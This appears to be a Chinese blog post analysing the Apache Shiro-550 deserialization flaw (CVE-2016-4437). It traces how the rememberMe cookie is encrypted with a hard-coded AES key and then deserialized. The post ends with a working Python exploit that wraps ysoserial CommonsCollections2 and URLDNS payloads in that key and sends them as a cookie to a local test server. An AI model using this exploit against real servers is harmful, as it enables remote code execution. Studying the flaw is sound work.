Apache Shiro-550反序列化漏洞分析

Apache Shiro-550反序列化漏洞分析


CVE-2016-4437

漏洞成因

  • 通过在cookie的rememberMe字段中插入恶意payload,

  • 触发shiro框架的rememberMe的反序列化功能,导致任意代码执行。

  • shiro 1.2.24中,提供了硬编码的AES密钥:kPH+bIxk5D2deZiIxcaaaA==

  • 由于开发人员未修改AES密钥而直接使用Shiro框架,导致了该问题

漏洞分析

加密过程

从硬编码开始入手,在shiro/mgt/AbstractRememberMeManager.class中找到key

 private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

可以看到

AbstractRememberMeManager implements RememberMeManager 

向上回溯,找到RememberMeManager中的onSuccessfulLogin方法(登录成功的处理)

void onSuccessfulLogin(Subject subject, AuthenticationToken token, AuthenticationInfo info);

在此处打下断点,然后debug。开启环境后登录,记得要勾选Remember Me

 

成功接收数据。

跟进forgetIdentity,该方法是处理requestreponse请求

 继续跟进forgetIdentity

进入getCookie的removeFrom()方法

 这里获取配置信息,最后用addCookieHeader放到返回包中的Cookie里。其中就有我们熟悉的,deleteMe字段和rememberMe字段,也就是我们指纹识别最简单的两种方法的原理

这一阶段过后就回到了onSuccessfulLogin

 其中的isRemeberMe(token)用于检查是否勾选了remember me

跟进rememberIdentity,其中的authcInfo是用户名信息root

继续跟进rememberIdentity

 发现其中存在一个转化bytes的方法convertPrincipalsToBytes转化对象是subject, authcInfo,其中包含主机名,用户名等信息

进入convertPrincipalsToBytes。发现其序列化了传进去的用户名root

 

跟进encrypt方法。

 

其中的CipherService cipherService = this.getCipherService()是获取密码服务的意思。而且可以发现是AES加密,且为AES/CBC/PKCS5Padding

 

再看这句。其中的getEncryptionCipherKey(),明显是获取密钥,

ByteSource byteSource = cipherService.encrypt(serialized, this.getEncryptionCipherKey());

跟进getEncryptionCipherKey(),这个找key

最终溯源到 getEncryptionCipherKey 就是开头中的 DEFAULT_CIPHER_KEY_BYTES,也就是我们一开始第一个提到的kPH+bIxk5D2deZiIxcaaaA==这个key

随后就传入 encrypt函数,接下来就是加密方法了

 加密后数据一直向上回溯,直到 rememberIdentity这个方法下有个 rememberSerializedIdentity方法要更进,因为这个是记住序列化身份的功能

 跟进rememberSerializedIdentity,该方法的作用是将加密的数据base64编码后加到Cookie

 

解密过程

切入点,从获取到客户端数据开始分析,即org.apache.shiro.mgt.AbstractRememberMeManager类的getRememberedPrincipals方法开始。打上断点,在页面随便刷新一下即可触发此方法 。有些文章说的是随便刷新一下,但是根据测试发现直接刷新是抓不到的。必须Cookie中的JSESSIONID删掉删掉

 

跟进其中的getRememberedSerializedIdentity()方法。其中调用了一个this.getCookie().readValue(request, response)。里面包含了要读取的Cookie数据。

 

跟进readValue 方法,根据 Cookie 中的 name 字段(这个字段就是 rememberMe)获取 Cookie 的值。最终把获取cookie里面的rememberme 给到 value 返回上一级函数

 

回到getRememberedSerializedIdentity中后再将得到的数据进行base64解密,得到结果后继续向上传递

 

 

再次回到AbstractRememberMeManager后就跟进到convertBytesToPrincipals方法

进入其中的decrypt()方法,此方法对数据进行了解密

 其中的getCipherService()和上面加密那一样,都用于获取加密方法AES/CBC/PKCS5Padding

 最后到这句话,获取老朋友AES的秘钥 getDecryptionCipherKey()后,带着秘文和AES公钥进入decrypt函数

 ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());

跟进到CipherServicedecrypt方法,再进入其中的decrypt

 最后到JcaCipherService 中的 crypt完成解密操作

 

反序列化操作

解密完成后就向上return,直到AbstractRememberMeManager#decrypt可看到 r00 开头 序列化的数据

 

再次return,看到deserialize 反序列化的方法。

 跟进到DefaultSerializerdeserialize方法,可发现readObject()方法完成反序列化操作。假如我们拿到了Key,并且有该站点的反序列化利用链,便可对其进行反序列化攻击。至此,漏洞原理部分结束

利用

import base64
import sys
import uuid
import subprocess
​
import requests
from Crypto.Cipher import AES
​
​
def encode_rememberme(command):
    # 这里使用CommonsCollections2模块
    popen = subprocess.Popen(['java', '-jar', 'E:\java_file\Java_chain\ysoserial-master\ysoserial-master\\target\ysoserial-0.0.6-SNAPSHOT-all.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)
​
    # 明文需要按一定长度对齐,叫做块大小BlockSize 这个块大小是 block_size = 16 字节
    BS = AES.block_size
​
    # 按照加密规则按一定长度对齐,如果不够要要做填充对齐
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
​
    # 泄露的key
    key = "kPH+bIxk5D2deZiIxcaaaA=="
​
    # AES的CBC加密模式
    mode = AES.MODE_CBC
​
    # 使用uuid4基于随机数模块生成16字节的 iv向量
    iv = uuid.uuid4().bytes
​
    # 实例化一个加密方式为上述的对象
    encryptor = AES.new(base64.b64decode(key), mode, iv)
​
    # 用pad函数去处理yso的命令输出,生成的序列化数据
    file_body = pad(popen.stdout.read())
​
    # iv 与 (序列化的AES加密后的数据)拼接, 最终输出生成rememberMe参数
    base64_rememberMe_value = base64.b64encode(iv + encryptor.encrypt(file_body))
​
    return base64_rememberMe_value
​
​
def dnslog(command):
    popen = subprocess.Popen(['java', '-jar', 'E:\java_file\Java_chain\ysoserial-master\ysoserial-master\\target\ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_rememberMe_value = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_rememberMe_value
​
​
if __name__ == '__main__':
    # cc2的exp
    payload = encode_rememberme('calc.exe')
    print("rememberMe={}".format(payload.decode()))
​
    # dnslog的poc
    #print("rememberMe={}".format(payload1.decode()))
​
    cookie = {
        "rememberMe": payload.decode(),
        " JSESSIONID":"43CA55C35CD6D685F2A4571B1F679742",
        "Phpstorm-3d76da0a":"b4b99549-b744-429d-832f-2197b3a9d510"
    }
​
    requests.get(url="http://127.0.0.1:8081/samples_web_1_2_4_war/", cookies=cookie)

 

踩坑

  • 导入cc4

第一次使用tomcat搭建环境,不知道cc4.0依赖要添加到tomcat中,以为maven导入就可以了。弄了好久都没弄出来,找师傅帮忙才发现问题

参考

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值